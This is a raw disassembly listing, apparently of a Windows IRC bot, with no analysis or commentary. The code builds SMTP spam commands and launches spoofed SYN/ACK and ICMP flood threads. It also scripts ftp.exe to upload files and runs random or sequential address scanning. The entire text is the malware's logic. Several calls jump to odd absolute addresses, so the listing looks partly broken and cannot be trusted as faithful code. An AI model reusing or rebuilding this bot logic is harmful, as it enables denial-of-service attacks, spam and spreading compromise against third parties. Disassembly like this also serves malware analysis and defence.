		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A6DC


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	1
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431410, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431410


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431410[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
